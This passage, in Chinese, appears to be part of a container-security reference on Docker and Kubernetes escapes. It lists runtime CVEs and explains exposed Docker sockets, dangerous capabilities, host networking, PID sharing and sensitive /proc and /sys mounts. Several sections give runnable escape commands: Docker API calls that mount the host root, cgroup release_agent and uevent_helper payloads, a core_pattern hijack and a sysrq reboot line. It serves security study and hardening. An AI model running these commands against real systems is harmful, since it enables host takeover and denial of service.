| [CVE-2021-31440](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31440) | 处理eBPF程序中的缺陷导致权限提升                                                              | CAP\_SYS\_MODULE                                                                                              | [CVE-2021-31440：LINUX内核EBPF验证器中的错误边界计算](https://www.zerodayinitiative.com/blog/2021/5/26/cve-2021-31440-an-incorrect-bounds-calculation-in-the-linux-kernel-ebpf-verifier)                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2020-8835](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8835)   | bpf验证器(kernel/bpf/verifier.c)没有正确限制32位操作的寄存器边界，导致内核内存中的越界读取和写入                  | CAP\_SYS\_ADMIN                                                                                               | [CVE-2020-8835：通过不当的EBPF程序验证进行LINUX内核权限提升](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification)                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                      |
| [CVE-2017-7308](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308)   | net/packet/af\_packet.c中的packet\_set\_ring函数没有正确验证某些块大小数据，允许本地用户通过特殊构造的系统调用获得权限 | CAP\_NET\_RAW                                                                                                 | [通过数据包套接字利用Linux内核](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html)                                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                      |

## RunC

| CVE                                                                                              | 标题                           | 受影响版本        | 参考资料                                                                                                                                                                                                                                                                                            |
| ------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2021-30465](https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r) | 挂载目标可以通过符号交换交换，导致在rootfs外部挂载 | <=1.0.0-rc94 | <p>> <a href="https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r">Github公告：GHSA-c3xm-pvg7-gh7r</a></p><p>> <a href="http://blog.champtar.fr/runc-symlink-CVE-2021-30465/">runc挂载目标可以通过符号交换交换，导致在rootfs外部挂载 (CVE-2021-30465)</a></p>                                 |
| [CVE-2019-19921](https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw) | procfs与共享卷挂载的竞争条件            | <1.0.0-rc10  | [Github公告：GHSA-fh74-hm69-rqjw](https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw)                                                                                                                                                                                  |
| [CVE-2019-5736](https://nvd.nist.gov/vuln/detail/CVE-2019-5736)                                  | 由于文件描述符处理不当导致覆盖主机runc二进制文件   | <=1.0-rc6    | <p>> <a href="https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html">CVE-2019-5736：从Docker和Kubernetes容器逃逸到主机root</a></p><p>> <a href="https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/">通过runC突破Docker – 解释CVE-2019-5736</a></p> |

## 参考资料

* [容器安全网站：容器CVE列表](https://www.container-security.site/general_information/container_cve_list.html)
* Zeronights 2021：Dmitriy Evdokimov – 容器逃逸Kubernetes版
  * [视频](https://www.youtube.com/watch?v=JoLgVBTc73c)
  * [幻灯片](https://zeronights.ru/wp-content/uploads/2021/09/zn2021_container_escapes_kubernetes_edition_v4.pdf)


# 暴露的Docker Socket

Docker守护进程可以通过三种不同类型的套接字监听[Docker引擎API](https://docs.docker.com/engine/api/)请求：

* `unix`
* `tcp`
* `fd`

默认情况下，Docker通过非网络UNIX套接字运行，该套接字创建在`/var/run/docker.sock`，需要root权限或docker组成员资格。

{% hint style="info" %}
此外，请注意其他高级运行时的运行时套接字：

* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
  {% endhint %}

`tcp`套接字用于远程访问Docker守护进程，默认设置提供未加密和未认证的直接访问。通常使用端口**2375**进行未加密通信，使用端口**2376**进行与守护进程的加密通信。

在基于Systemd的系统上，与Docker守护进程的通信可以通过Systemd套接字`fd://`进行。

有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。

## 列出所有容器

使用`curl`命令通过`unix`套接字列出主机上的所有容器。

```bash
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
```

使用`curl`命令通过`tcp`套接字列出主机上的所有容器。

```bash
$ curl -s http://<host>:<port>/containers/json
```

## 创建容器

使用`curl`命令通过`unix`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    --unix-socket /var/run/docker.sock \
    "http:/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

使用`curl`命令通过`tcp`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

## 启动容器

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
    -X POST \
    -H "Content-Type: application/json" 
```

## 在容器中执行代码

首先需要创建一个将在容器中运行的`exec`实例。

```bash
$ curl \
    -s \
    "http://<host>:<port>/containers/<container_id>/exec" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

HTTP/1.1 201 Created
...

{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
```

现在`exec`已经创建，您需要运行它。

```bash
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
    -s \
    "http://<host>:<port>/exec/${EXEC_ID}/start"
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"Detach": false,"Tty": false}' \

HTTP/1.1 200 OK
...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

## 主机接管

要在主机系统上执行命令，启动Docker容器并将主机根目录挂载到容器卷上。

1. 下载ubuntu镜像。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
       -X POST \
       -H 'Content-Type: application/json'
   ```
2. 创建容器。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/containers/create"
       -X POST \
       -H "Content-Type: application/json" \
       -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
   ```
3. 启动容器。
4. 为了在主机系统上执行命令，更改根目录。

   ```bash
   $ chroot /hostfs
   ```

## 参考资料

* [技术分析：通过未认证的Docker远程API获得Microsoft Dynamics容器沙箱RCE，20000美元奖金](https://hencohen10.medium.com/microsoft-dynamics-container-sandbox-rce-via-unauthenticated-docker-remote-api-20-000-bounty-7f726340a93b)
* [技术分析：逃逸Cloud Shell容器](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/)
* [Quarkslab博客：为什么暴露Docker Socket是个非常糟糕的主意？](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)


# 过度权限

使用`--privileged`或危险权能运行Docker容器允许特权操作。

{% hint style="info" %}
`--privileged`标志为容器提供所有[权能（Capabilities）](https://man7.org/linux/man-pages/man7/capabilities.7.html)，并且还解除了设备cgroup控制器强加的所有限制。换句话说，容器几乎可以执行主机可以执行的所有操作。
{% endhint %}

您可以使用[capsh](https://man7.org/linux/man-pages/man1/capsh.1.html)命令查看授予的权能：

```bash
$ capsh --print | grep Current
```

## CAP\_SYS\_ADMIN

[CAP\_SYS\_ADMIN](https://man7.org/linux/man-pages/man7/capabilities.7.html)在很大程度上是一个全能权能，它很容易导致额外的权能或完整的root权限（通常是对所有权能的访问）。执行一系列管理操作需要`CAP_SYS_ADMIN`，如果在容器内执行特权操作，很难从容器中删除此权能。对于模拟整个系统的容器，保留此权能通常是必要的，而可以更限制性的单个应用程序容器则不需要。

### 滥用用户模式助手API

特权容器可以注册在内核上下文中执行的用户模式应用程序助手，有关从内核调用用户空间应用程序的更多信息见[此处](https://developer.ibm.com/technologies/linux/articles/l-user-space-apps/)。

[@\_fel1x](https://twitter.com/_fel1x/status/1151487051986087936)逃逸技术基于滥用cgroups v1中`notify_on_release`功能的功能，以完全特权的root用户身份运行漏洞利用。

这是一个在主机上启动`ps`的PoC版本：

```bash
# 查找并启用cgroup release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# 在cgroup中启用notify_on_release
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
touch /o; echo $t/c > $d/release_agent
# 创建payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# 通过空的cgroup.procs触发cgroup
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# 读取输出
cat /o
```

#### 使用此技术的要求

实际上，`--privileged`提供的权限比通过此方法逃逸Docker容器所需的要多得多。实际上，"唯一"的要求是：

* 您必须在容器内以root身份运行。
* 容器必须以`CAP_SYS_ADMIN` Linux权能运行。
* 容器必须缺少AppArmor配置文件，或允许mount系统调用。
* cgroup v1虚拟文件系统必须在容器内以读写方式挂载。

#### 使用cgroups传递漏洞利用

PoC滥用cgroups v1中`notify_on_release`功能的功能，以完全特权的root用户身份运行漏洞利用。

当cgroup中的最后一个任务离开（通过退出或附加到另一个cgroup）时，将执行`release_agent`文件中提供的命令。这的预期用途是帮助修剪废弃的cgroup。此命令在调用时，在主机上以完全特权的root身份运行。

[notify\_on\_release做什么？](https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt)

如果在cgroup中启用了`notify_on_release`标志，那么每当cgroup中的最后一个任务离开（退出或附加到其他cgroup）并且该cgroup的最后一个子cgroup被移除时，内核将运行该层次结构根目录中`release_agent`文件内容指定的命令，提供废弃cgroup的路径名（相对于cgroup文件系统的挂载点）。这实现了废弃cgroup的自动移除。系统启动时根cgroup中`notify_on_release`的默认值是禁用的。创建时其他cgroup的默认值是其父级`notify_on_release`设置的当前值。cgroup层次结构的`release_agent`路径的默认值为空。

#### 仅使用CAP\_SYS\_ADMIN权能逃逸

有一种更简单的方法来编写这个漏洞利用，使其在没有`--privileged`标志的情况下工作。在这种情况下，您将无法访问`--privileged`提供的读写cgroup挂载。为此，您需要自己将cgroup挂载为读写。这为漏洞利用增加了一行，但需要更少的权限。

在主机上运行容器的命令示例：

```bash
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```

下面的漏洞利用将在主机上执行`ps aux`命令并将其输出保存到容器中的`/output`文件。它使用与原始PoC相同的`release_agent`功能在主机上执行。

```bash
# 挂载RDMA cgroup控制器并创建子cgroup
# 此技术应该适用于大多数cgroup控制器
# 如果您跟随操作并得到"mount: /tmp/cgrp: special device cgroup does not exist"
# 这是因为您的设置没有RDMA cgroup控制器，尝试将rdma更改为memory来修复它
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 在"x" cgroup释放时启用cgroup通知
echo 1 > /tmp/cgrp/x/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 创建payload
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# 通过在"x"子cgroup内生成立即结束的进程来执行攻击
# 通过创建/bin/sh进程并将其PID写入"x"子cgroup目录中的cgroup.procs文件
# 主机上的脚本将在/bin/sh退出后执行
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 读取输出
cat /output
```

### 滥用暴露的主机目录

假设`/home`目录在特权容器内通过`/dev/sdb1`暴露。在这种情况下，您可以为该块设备生成设备节点，将其挂载到容器中，并访问主机的`/home`目录。

```bash
$ docker run --privileged -it --rm alpine:latest
/ $ apk update && apk add util-linux
# ...
/ $ lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda         8:0    0   45G  0 disk
├─sda1      8:1    0 40.9G  0 part /etc/hosts
├─sda2      8:2    0   16M  0 part
├─sda3      8:3    0    2G  0 part
│ └─vroot 253:0    0  1.2G  1 dm
├─sda4      8:4    0   16M  0 part
├─sda5      8:5    0    2G  0 part
├─sda6      8:6    0  512B  0 part
├─sda7      8:7    0  512B  0 part
├─sda8      8:8    0   16M  0 part
├─sda9      8:9    0  512B  0 part
├─sda10     8:10   0  512B  0 part
├─sda11     8:11   0    8M  0 part
└─sda12     8:12   0   32M  0 part
sdb         8:16   0    5G  0 disk
└─sdb1      8:17   0    5G  0 part
zram0     252:0    0  768M  0 disk [SWAP]
/ $ mknod /dev/sdb1 block 8 17
/ $ mkdir /mnt/host_home
/ $ mount /dev/sdb1 /mnt/host_home
/ $ echo 'echo "Hello from container land!" 2>&1' >> /mnt/host_home/eric_chiang_m/.bashrc
```

参考资料：

* [技术分析：特权容器不是容器](https://ericchiang.github.io/post/privileged-containers/)

## CAP\_SYS\_MODULE

[CAP\_SYS\_MODULE](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程加载和卸载任意内核模块（`init_module(2)`、`finit_module(2)`和`delete_module(2)`系统调用）。这可能导致简单的权限提升和ring-0妥协。内核可以被随意修改，破坏所有系统安全、Linux安全模块和容器系统。

{% hint style="info" %}
Docker在特权容器中删除了CAP\_SYS\_MODULE权能。
{% endhint %}

参考资料：

* [技术分析：我如何入侵Play-with-Docker并在主机上远程运行代码](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)

## CAP\_SYS\_RAWIO

[CAP\_SYS\_RAWIO](https://man7.org/linux/man-pages/man7/capabilities.7.html)提供许多敏感操作，包括访问`/dev/mem`、`/dev/kmem`或`/proc/kcore`、修改`mmap_min_addr`、访问`ioperm(2)`和`iopl(2)`系统调用以及各种磁盘命令。`FIBMAP ioctl(2)`也通过此权能启用，这在[过去](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)曾引起问题。根据手册页，这也允许持有者描述性地`在其他设备上执行一系列设备特定操作`。

## CAP\_NET\_ADMIN

[CAP\_NET\_ADMIN](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许权能持有者修改暴露的网络命名空间的防火墙、路由表、套接字权限、网络接口配置和暴露网络接口上的其他相关设置。这也提供了为附加的网络接口启用混杂模式并可能跨命名空间嗅探的能力。

应该注意的是，一些权限提升漏洞和其他历史弱点已经利用此权能的能力造成。这包括CVE-2011-1019，它有效地授予CAP\_SYS\_MODULE权能以加载任意模块，并使用ifconfig CVE-2010-4655轻易利用，这导致敏感堆内存泄露，以及导致拒绝服务和可能任意代码执行的CVE-2013-4514。这些问题主要是由于巨大的攻击表面和为特殊接口或套接字类型的隐式模块加载。

## CAP\_SYS\_CHROOT

[CAP\_SYS\_CHROOT](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`chroot(2)`系统调用。这可能允许逃逸任何`chroot(2)`环境，使用已知的弱点和逃逸方法：

* [如何从各种chroot解决方案中突破](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
* [chw00t：chroot逃逸工具](https://github.com/earthquake/chw00t/)

## CAP\_SYS\_PTRACE

[CAP\_SYS\_PTRACE](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`ptrace(2)`和最近引入的跨内存附加系统调用，如`process_vm_readv(2)`和`process_vm_writev(2)`。如果授予此权能并且`ptrace(2)`系统调用本身没有被seccomp过滤器阻止，这将允许攻击者绕过其他seccomp限制，参见[如果允许ptrace则绕过seccomp的PoC](https://gist.github.com/thejh/8346f47e359adecd1d53)。

参考资料：

* [tbhaxor：容器突破 – 第1部分（实验：进程注入）](https://tbhaxor.com/container-breakout-part-1/)

## CAP\_NET\_RAW

[CAP\_NET\_RAW](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程能够为可用网络命名空间创建RAW和PACKET套接字类型。这允许通过暴露的网络接口进行任意数据包生成和传输。在许多情况下，此接口将是虚拟以太网设备，这可能允许恶意或受损的容器在各种网络层欺骗数据包。具有此权能的恶意进程或受损容器可以注入到上游网桥，利用容器之间的路由，绕过网络访问控制，并且如果没有防火墙限制数据包类型和内容，则可以篡改主机网络。

Docker设置容器网络，使所有容器共享同一个Linux虚拟网桥。这些容器将能够相互通信。即使此直接网络访问被禁用（使用Docker的`-icc=false`标志），容器也不受链路层流量的限制。特别是，对同一主机系统内的另一个容器进行ARP欺骗攻击是可能的（事实上相当容易），允许对目标容器的流量进行完整的中间人攻击。

## CAP\_SYS\_BOOT

[CAP\_SYS\_BOOT](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`reboot(2)`系统调用。它还允许通过`LINUX_REBOOT_CMD_RESTART2`执行任意重启命令，为某些特定硬件平台实现。

此权能还允许使用`kexec_load(2)`系统调用，该调用加载新的崩溃内核，从Linux 3.17开始，`kexec_file_load(2)`也将加载已签名的内核。

## CAP\_SYSLOG

[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html)最终在Linux 2.6.37中从`CAP_SYS_ADMIN`全能权能中分离出来，此权能允许进程使用`syslog(2)`系统调用。当`/proc/sys/kernel/kptr_restrict`设置为1时，这也允许进程查看通过`/proc`和其他接口暴露的内核地址。

`kptr_restrict` sysctl设置在2.6.38中引入，确定是否暴露内核地址。自2.6.39以来，在vanilla内核中这默认为零（暴露内核地址），尽管许多发行版正确地将值设置为1（对除uid 0之外的所有人隐藏）或2（总是隐藏）。

此外，如果`dmesg_restrict`设置为1，此权能还允许进程查看`dmesg`输出。最后，由于历史原因，`CAP_SYS_ADMIN`权能仍然允许执行`syslog`操作。

## CAP\_DAC\_READ\_SEARCH

[CAP\_DAC\_READ\_SEARCH](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程绕过文件读取、目录读取和执行权限。虽然这被设计用于搜索或读取文件，但它也授予进程调用`open_by_handle_at(2)`的权限。任何具有`CAP_DAC_READ_SEARCH`权能的进程可以使用`open_by_handle_at(2)`来访问任何文件，甚至超出其挂载命名空间的文件。传递到`open_by_handle_at(2)`的句柄应该是使用`name_to_handle_at(2)`检索的不透明标识符。然而，此句柄包含敏感和可篡改的信息，如inode号。Sebastian Krahmer首次通过[shocker](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)漏洞利用在Docker容器中显示这是一个问题。

> Docker通过删除CAP\_DAC\_READ\_SEARCH（以及使用seccomp阻止对open\_by\_handle\_at的访问）来缓解了这个问题

## 参考资料

* [理解和强化Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
* [理解Docker容器逃逸](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)


# 主机网络驱动

如果容器配置了Docker[主机网络驱动（--network=host）](https://docs.docker.com/network/host/)，则该容器的网络栈与Docker主机不隔离（容器共享主机的网络命名空间），并且容器不会获得分配给自己的IP地址。换句话说，容器将所有服务直接绑定到主机的IP。此外，容器可以拦截主机在共享接口`tcpdump -i eth0`上发送和接收的所有网络流量。

例如，您可以使用此功能嗅探甚至欺骗主机和元数据实例之间的流量。

参考资料：

* [技术分析：如何联系Google SRE：在云SQL中放置shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务MITM允许root权限提升（EKS / GKE）](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)


# PID命名空间共享

## 概述

PID命名空间在进程之间提供分离。它防止系统进程可见，并允许重用进程ID，包括PID 1。如果主机的PID命名空间与容器共享，这将允许它们查看主机系统上的所有进程。

如果PID命名空间被共享，这意味着：

* 容器进程不再有PID 1。一些容器拒绝在没有PID 1的情况下启动（例如，使用`systemd`的容器）或运行如`kill -HUP 1`之类的命令来信号容器进程。在具有共享进程命名空间的Kubernetes Pod中，`kill -HUP 1`将信号Pod沙箱。
* 主机进程（或Pod中容器的进程）对容器（或其他容器）可见。这包括`/proc`中可见的所有信息，例如作为参数或环境变量传递的机密信息。这些仅受常规Unix权限保护。
* 主机（或容器）文件系统通过`/proc/[pid]/root`链接对容器（或Pod中的其他容器）可见。

PID命名空间共享减少了主机和容器之间的进程级隔离，并使各种攻击成为可能，包括注入到主机进程（需要[CAP\_SYS\_PTRACE](/rong-qi-an-quan/tao-yi-ji-shu/excessive-capabilities#cap_sys_ptrace)）。

## 参考资料

* [tbhaxor：容器突破 – 第1部分（实验：进程注入）](https://tbhaxor.com/container-breakout-part-1/)
* [#BrokenSesame：私有注册表的意外'写'权限允许对阿里云数据库服务进行潜在RCE](https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r)


# 敏感挂载

由于缺乏命名空间支持，`/proc`和`/sys`的暴露提供了重大攻击面和信息泄露的来源。`procfs`和`sysfs`中的许多文件为容器逃逸、主机修改或基本信息泄露提供了风险，这些可能促进其他攻击。

## procfs

### /proc/sys

`/proc/sys`通常允许访问修改内核变量，通常通过`sysctl(2)`控制。

#### /proc/sys/kernel/core\_pattern

[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html)定义了一个程序，该程序在核心文件生成时执行（通常是程序崩溃），如果此文件的第一个字符是管道符号`|`，则将核心文件作为标准输入传递。此程序由root用户运行，将允许最多128字节的命令行参数。这在任何崩溃和核心文件生成的情况下（可以在各种恶意操作期间简单地丢弃）允许在容器主机内进行简单的代码执行。

```bash
$ cd /proc/sys/kernel
$ echo "|$overlay/shell.sh" > core_pattern
$ sleep 5 && ./crash &
```

参考资料：

* [为了乐趣而逃逸特权容器](https://pwning.systems/posts/escaping-containers-for-fun/)

#### /proc/sys/kernel/modprobe

[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html)包含内核模块加载器的路径，在加载内核模块时调用，例如通过[modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html)命令。可以通过执行任何触发内核尝试加载内核模块的操作（例如使用crypto-API加载当前未加载的加密模块，或使用ifconfig为当前未使用的设备加载网络模块）来获得代码执行权限。

#### /proc/sys/vm/panic\_on\_oom

[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html)是一个全局标志，确定内核在遇到内存不足（OOM）条件时是否会恐慌（而不是调用OOM杀手）。这更像拒绝服务（DoS）攻击而不是容器逃逸，但它同样暴露了应该只对主机可用的能力。

#### /proc/sys/fs

[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html)目录包含一个关于文件系统各个方面的选项和信息数组，包括配额、文件句柄、inode和dentry信息。对此目录的写访问将允许对主机进行各种拒绝服务攻击。

#### /proc/sys/fs/binfmt\_misc

[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html)允许执行各种二进制格式，这通常意味着可以为非本地二进制格式（如Java）注册各种解释器，基于它们的魔术数字。虽然此路径通常可被AppArmor规则写入，但NCC不知道任何漏洞利用，尽管大多数容器应用程序可能不需要它。

### /proc/config.gz

[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html)取决于`CONFIG_IKCONFIG_PROC`设置，这暴露了运行内核的内核配置选项的压缩版本。这可能允许受损或恶意的容器轻松发现和定位内核中启用的脆弱区域。

### /proc/sysrq-trigger

`Sysrq`是一种旧机制，可以通过特殊的`SysRq`键盘组合调用。这可以允许系统立即重启，发出`sync(2)`，将所有文件系统重新挂载为只读，调用内核调试器和其他操作。

如果客户机没有被正确隔离，它可以通过向`/proc/sysrq-trigger`文件写入字符来触发[sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html)命令。

```bash
# 重启主机
echo b > /proc/sysrq-trigger
```

### /proc/kmsg

[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html)可以暴露通常通过`dmesg`访问的内核环形缓冲区消息。此信息的暴露可以帮助内核漏洞利用，触发内核地址泄露（可能用于帮助击败内核地址空间布局随机化（KASLR）），并且是关于内核、硬件、被阻止数据包和其他系统详细信息的一般信息泄露来源。

### /proc/kallsyms

[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html)包含内核导出符号及其动态和可加载模块的地址位置列表。这还包括内核映像在物理内存中的位置，这对内核漏洞利用开发很有帮助。从这些位置，可以找到内核的基地址或偏移量，这可以用来克服内核地址空间布局随机化（KASLR）。

对于`kptr_restrict`设置为`1`或`2`的系统，此文件将存在但不提供任何地址信息（尽管符号列出的顺序与内存中的顺序相同）。

### /proc/\[pid]/mem

[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html)暴露了内核内存设备`/dev/mem`的接口。虽然PID命名空间可以防止一些通过此`procfs`向量的攻击，但这个区域在历史上是脆弱的，然后被认为安全，但再次被发现[脆弱](https://git.zx2c4.com/CVE-2012-0056/about/)用于权限提升。

### /proc/kcore

[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html)表示系统的物理内存，采用ELF核心格式（通常在核心转储文件中找到）。它不允许写入所述内存。读取此文件（限制为特权用户）可以从主机系统和其他容器泄露内存内容。

报告的大文件大小代表架构的最大物理可寻址内存量，并且在读取它时可能会引起问题（或根据软件的脆弱性而崩溃）。

[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)

### /proc/kmem

`/proc/kmem`是[/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html)的替代接口（对其的直接访问被cgroup设备白名单阻止），这是一个表示内核虚拟内存的字符设备文件。它允许读写，允许直接修改内核内存。

### /proc/mem

`/proc/mem`是[/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html)的替代接口（对其的直接访问被cgroup设备白名单阻止），这是一个表示系统物理内存的字符设备文件。它允许读写，允许修改所有内存。（它需要比`kmem`更多的技巧，因为虚拟地址需要首先解析为物理地址）。

### /proc/sched\_debug

`/proc/sched_debug`是一个特殊文件，返回整个系统的进程调度信息。此信息包括来自所有命名空间的进程名称和进程ID，以及进程cgroup标识符。这有效地绕过了PID命名空间保护，并且是其他/世界可读的，因此它也可以在非特权容器中被利用。

### /proc/\[pid]/mountinfo

[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html)包含有关进程挂载命名空间中挂载点的信息。它暴露了容器`rootfs`或镜像的位置。

## sysfs

### /sys/kernel/uevent\_helper

`uevents`是当设备添加或移除时由内核触发的事件。值得注意的是，`uevent_helper`的路径可以通过写入`/sys/kernel/uevent_helper`来修改。然后，当触发`uevent`时（也可以通过写入如`/sys/class/mem/null/uevent`之类的文件从用户空间完成），恶意的`uevent_helper`被执行。

```bash
# 创建payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将uevent_helper设置为/path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# 触发uevent
echo change > /sys/class/mem/null/uevent
# 或者
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# 读取输出
cat /output
```

### /sys/class/thermal

访问ACPI和各种用于温度控制的硬件设置，通常在笔记本电脑或游戏主板上找到。这可能允许对容器主机进行DoS攻击，甚至可能导致物理损坏。

### /sys/kernel/vmcoreinfo

此文件可能泄露内核地址，这些地址可用于击败KASLR。

### /sys/kernel/security

在`/sys/kernel/security`中挂载了`securityfs`接口，它允许配置Linux安全模块。这允许配置[AppArmor策略](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel_interfaces#securityfs-syskernelsecurityapparmor)，因此访问此文件可能允许容器禁用其MAC系统。

### /sys/firmware/efi/vars

`/sys/firmware/efi/vars`暴露了与NVRAM中的EFI变量交互的接口。虽然这对于大多数服务器通常不相关，但EFI变得越来越受欢迎。权限弱点甚至导致一些笔记本电脑变砖。

### /sys/firmware/efi/efivars

`/sys/firmware/efi/efivars`提供了一个接口来写入用于UEFI启动参数的NVRAM。修改它们可能使主机机器无法启动。

### /sys/kernel/debug

`debugfs`提供了一个"无规则"接口，通过它内核（或内核模块）可以创建用户空间可访问的调试接口。它在过去有许多安全问题，并且文件系统背后的"无规则"指导方针经常与安全约束冲突。

## 参考资料
